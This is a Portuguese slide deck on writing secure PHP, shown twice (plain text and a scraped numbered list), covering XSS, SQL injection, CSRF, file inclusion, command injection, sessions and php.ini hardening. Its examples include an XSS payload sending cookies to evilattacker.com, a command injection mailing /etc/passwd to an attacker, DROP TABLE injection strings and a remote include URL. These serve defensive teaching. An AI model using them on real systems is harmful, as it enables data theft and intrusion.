Escrevendo códigos PHP 
Seguros 
Douglas V. Pasqua 
http://douglaspasqua.com
Introdução 
● Príncios de segurança para aplicativos web. 
● As consequencias de códigos inseguros. 
● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques 
● SQL Injections 
● XSS 
● Remote Code Injection 
● Command Inection 
● XSRF / CSRF 
● Sessions 
● File Uploads
Outros 
● senhas e hashs 
● configurações de segurança (php.ini)
Introdução Segurança 
● Uma das coisas mais importantes que o 
desenvolvedor deve-se atentar.
Introdução Segurança 
● Infelizmente a maioria dos desenvolvedores 
falham na questão de segurança, 
comprometendo dezenas e até milhares de 
linhas de códigos.
Consequências
Consequências 
● DOS (Denial Of Service). 
● Roubo de informações confidenciais. 
● Danificar banco de dados. 
● Roubo de sessão do usuário. 
● Comprometer a aplicação.
Regras básicas 
● Filtrar dados de Input 
● Filtrar dados de Output
Filtrar dados de Input 
● Não se deve confiar nos dados provenientes 
do usuário. 
● Toda informação oriunda do usuário deve 
ser filtrada/validada antes do uso.
Filtrar dados de Input 
● $_GET 
● $_POST 
● $_COOKIE
Tipo de dados ? 
● E-Mail 
● Numérico 
● URL 
● IP 
● Data de aniversário 
● Endereço 
● Telefone
Exemplo: filtrando campo numérico 
<?php 
if (isset($_GET["value"])) { 
$value = $_GET["value"]; 
} 
else { 
$value = false; 
} 
if (is_numeric($value) && ($value >= 15 && $value <= 20)) { 
// ok 
}
Exemplo: filtrando campo numérico 
<?php 
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, 
array("options" => array( 
"min_range" => 15, 
"max_range" => 20 
))); 
if($value) { 
// valido 
}
filter_input 
● FILTER_VALIDATE_BOOLEAN 
● FILTER_VALIDATE_EMAIL 
● FILTER_VALIDATE_FLOAT 
● FILTER_VALIDATE_INT 
● FILTER_VALIDATE_IP 
● FILTER_VALIDATE_REGEXP 
● FILTER_VALIDATE_URL
filter_input 
http://php.net/filter_input
Filtrando dados de Saída 
● Dados de saída devem ser tratados de 
acordo com o meio. 
○ HTML 
○ Javascript 
○ XML 
○ SQL
Filtrando dados de saída 
<?php 
echo "<a href="$url">$name</a>";
Filtrando dados de Saída 
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> 
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> 
</a>
htmlspecialchars() 
Caracter Nome Código 
< menor que &lt; 
> maior que &gt; 
& E comercial &amp; 
“ aspas duplas &quot; 
http://php.net/htmlspecialchars
XSS (Cross Site Scripting)
XSS (Cross-site-scripting) 
● É um tipo de ataque que permite injetar 
códigos (javascript) maliciosos em sites 
“confiáveis”. 
● Explora a confiança que o usuário tem no 
site.
XSS (Cross-site-scripting) 
● Roubo de cookies e informações de sessão. 
● Disparar requisições HTTP na sessão do 
usuário. 
● Redirecionar o usuário para sites maliciosos. 
● Instalar malware
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script> 
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente 
$email = "document.write('<iframe src=” 
http://evilattacker.com?cookie=' + document.cookie.escape()” 
height=”0” width=”0” />')"; 
E-mail: <?php echo $email; ?>
XSS - Prevenção 
● Validando dados de input
XSS - Prevenção 
● Sanitização 
<?php 
// sanitize HTML 
$query = strip_tags($_GET["query"]);
XSS - Prevenção 
● Output Escaping 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
SQL Injection 
● Permite manipulação de consultas SQL 
○ passar por controles de acesso e autenticação. 
○ expor dados escondidos. 
○ sobrescrita de dados. 
○ exclusão de dados. 
○ execução de comandos no S.O.
SQL Injection 
$sql = "SELECT * FROM users WHERE name 
='$nome'";
SQL Injection 
' or '1'='1 
SELECT * FROM users WHERE name ='' OR '1'='1'; 
' or '1'='1' -- 
SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection 
a';DROP TABLE users; -- 
SELECT * FROM users WHERE name ='a';DROP TABLE 
users; --';
SQL Injection - Protegendo-se 
<?php 
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); 
$stmt->bindParam(':name', $txtName); 
$stmt->execute(); 
● Suporte: 
○ mysqli 
○ PDO
SQL Injection - Protegendo-se 
<?php 
$name = mysql_real_escape_string($name); 
$sql = "SELECT * FROM users WHERE name ='$name'"; 
● Usar no caso de extensão padrão do Mysql para PHP
CSRF (Cross-Site-Request-Forgery)
CSRF - Definição 
Site malicioso dispara uma requisição/ação 
não desejada para um outro site no qual o 
usuário esteja logado.
CSRF - Exemplos de ações 
● Alterar a senha do usuário no site 
● Realizar transferências bancárias 
● Submissão de formulários
CSRF - Principais focos 
● Webmail 
● Redes sociais 
● Bancos 
● Sistemas de pagamento online
CSRF - Exemplos de Prevênção 
● Captcha 
● Verificar o Header "Referer" 
● Token Sincronizado
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); 
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token 
<form> 
... 
<input type=’hidden’ name=’csrfToken’ 
value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> 
... 
</form>
CSRF 
● O Token CSRF é único por sessão. 
● Utilize o token em todos formulários 
considerados “críticos”.
Remote Code Injection
Remote code injection 
● Permite o atacante injetar códigos externos 
no fluxo de execução do script php. 
● Explora: 
○ include 
○ require
Remote code injection 
<?php 
include($_GET["page"]); 
?>
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/dir-escondido/senhas. 
txt
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção 
<?php 
$whitelist = array('home', 'about'); 
if (in_array($_GET['page'], $whitelist)) { 
include($_GET['page'].'.php'); 
} else { 
include('home.php'); 
}
Command Injection
Command Injection 
● Permite o atacante injetar códigos shell 
maliciosos. 
● Normalmente quando você usa o input do 
usuário para criar um comando shell.
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?>
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection 
<?php 
echo shell_exec('cat '. $_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;mail 
attacker@attacker.org </etc/passwd
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename'])); 
OR 
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
Segurança de Sessão 
● Flag httponly, php.ini: 
session.cookie_httponly = 1 
Marca o cookie de sessão do PHP com httponly. Isso faz 
com que o novageador não exponha o valor deste cookie 
via javascript.
Segurança de Sessão 
● Flag use_only_cookies, php.ini: 
session.use_only_cookies = 1 
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão 
● Flag cookie_secure, php.ini: 
session.cookie_secure = 1 
Assegura que o cookie de sessão seja transmitido apenas 
por conexão segura.
Session hijacking 
<?php 
session_start(); 
if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ 
exit; 
} 
} else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
}
Upload de Arquivos
Upload de arquivos - Dicas 
Armazene os arquivos enviados fora do 
diretório raiz do app web.
Upload de arquivos - Dicas 
Não confie cegamente no Content-Type, para 
definir que um arquivo seja realmente uma 
imagem.
Upload de arquivos - Dicas 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { 
echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; 
exit; 
}
Upload de arquivos - Dicas 
Não armazene os arquivos usando o nome 
original configurado no formulário. Gere um 
nome randômico ao salvar.
Hash e Senhas
hash e senhas 
Sempre usar hash para armazenar senhas em 
banco de dados.
hash e senhas 
md5(), sha1() ?
hash e senhas 
password_hash(), crypt() ?
password_hash() 
● >= PHP 5.5 
● Utiliza o algoritimo BCrypt 
● Compatível com a função crypt()
password_hash() 
<?php 
// geração do hash 
$hash = password_hash($senha, PASSWORD_DEFAULT); 
// verificando se o hash corresponde 
if (password_verify($password, $hash)) { 
// Sucesso! 
} 
else { 
// Credenciais Inválidas 
}
password_hash() 
● utilizar capacidade de 255 caracteres 
● salt e cost são gerados pela API
Parâmetros no php.ini
php.ini 
● expose_php = off
php.ini 
● expose_php = off 
HTTP/1.1 200 OK 
X-Powered-By: PHP/5.3.3 
Content-type: text/html; charset=UTF-8
php.ini 
● display_errors = off
php.ini 
● display_errors = off 
log_errors=On 
error_log=/var/log/apache/php_error.log
php.ini 
● allow_url_fopen = off
php.ini 
● allow_url_fopen = off 
previne remote code injections 
(include/require/file_get_contents)
php.ini 
● max_execution_time = 30 
● memory_limit = 40M
php.ini 
● max_execution_time = 30 
● memory_limit = 40M 
Evita ataques DOS
php.ini 
● disable_functions = exec,passthru, 
shell_exec,system,proc_open,popen, 
curl_exec,curl_multi_exec,parse_ini_file, 
show_source
php.ini 
● open_basedir="/var/www/"
php.ini 
● open_basedir="/var/www/" 
restringe o diretório onde o php pode 
manipular arquivos
Perguntas ? 
douglas.pasqua@gmail.com 
http://www.douglaspasqua.com 
twitter: @dpasqua

Escrevendo códigos php seguros

  • 1.
    Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  • 2.
    Introdução ● Prínciosde segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  • 3.
    Vulnerabilidades / Tiposde Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  • 4.
    Outros ● senhase hashs ● configurações de segurança (php.ini)
  • 5.
    Introdução Segurança ●Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  • 6.
    Introdução Segurança ●Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  • 7.
  • 8.
    Consequências ● DOS(Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  • 9.
    Regras básicas ●Filtrar dados de Input ● Filtrar dados de Output
  • 10.
    Filtrar dados deInput ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  • 11.
    Filtrar dados deInput ● $_GET ● $_POST ● $_COOKIE
  • 12.
    Tipo de dados? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  • 13.
    Exemplo: filtrando camponumérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  • 14.
    Exemplo: filtrando camponumérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  • 15.
    filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  • 16.
  • 17.
    Filtrando dados deSaída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  • 18.
    Filtrando dados desaída <?php echo "<a href="$url">$name</a>";
  • 19.
    Filtrando dados deSaída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  • 20.
    htmlspecialchars() Caracter NomeCódigo < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  • 21.
    XSS (Cross SiteScripting)
  • 22.
    XSS (Cross-site-scripting) ●É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  • 23.
    XSS (Cross-site-scripting) ●Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  • 24.
    XSS Exemplo -Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  • 25.
    XSS Exemplo -Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  • 26.
    XSS Exemplo -Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  • 27.
    XSS Exemplo -Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  • 28.
    XSS - Prevenção ● Validando dados de input
  • 29.
    XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  • 30.
    XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
  • 31.
  • 32.
    SQL Injection ●Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  • 33.
    SQL Injection $sql= "SELECT * FROM users WHERE name ='$nome'";
  • 34.
    SQL Injection 'or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  • 35.
    SQL Injection a';DROPTABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  • 36.
    SQL Injection -Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  • 37.
    SQL Injection -Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  • 38.
  • 39.
    CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  • 40.
    CSRF - Exemplosde ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  • 41.
    CSRF - Principaisfocos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  • 42.
    CSRF - Exemplosde Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  • 43.
    CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  • 44.
    CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  • 45.
    CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  • 46.
    CSRF ● OToken CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  • 47.
  • 48.
    Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  • 49.
    Remote code injection <?php include($_GET["page"]); ?>
  • 50.
    Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  • 51.
    Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  • 52.
    Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  • 53.
    Remote code injection- Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
  • 54.
  • 55.
    Command Injection ●Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  • 56.
    Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  • 57.
    Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  • 58.
    Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  • 59.
    Command Injection -Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  • 60.
    Command Injection -Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  • 61.
  • 62.
    Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  • 63.
    Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  • 64.
    Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  • 65.
    Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  • 66.
  • 67.
    Upload de arquivos- Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  • 68.
    Upload de arquivos- Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  • 69.
    Upload de arquivos- Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  • 70.
    Upload de arquivos- Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  • 71.
  • 72.
    hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  • 73.
    hash e senhas md5(), sha1() ?
  • 74.
    hash e senhas password_hash(), crypt() ?
  • 75.
    password_hash() ● >=PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  • 76.
    password_hash() <?php //geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  • 77.
    password_hash() ● utilizarcapacidade de 255 caracteres ● salt e cost são gerados pela API
  • 78.
  • 79.
  • 80.
    php.ini ● expose_php= off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  • 81.
  • 82.
    php.ini ● display_errors= off log_errors=On error_log=/var/log/apache/php_error.log
  • 83.
  • 84.
    php.ini ● allow_url_fopen= off previne remote code injections (include/require/file_get_contents)
  • 85.
    php.ini ● max_execution_time= 30 ● memory_limit = 40M
  • 86.
    php.ini ● max_execution_time= 30 ● memory_limit = 40M Evita ataques DOS
  • 87.
    php.ini ● disable_functions= exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  • 88.
  • 89.
    php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  • 90.
    Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua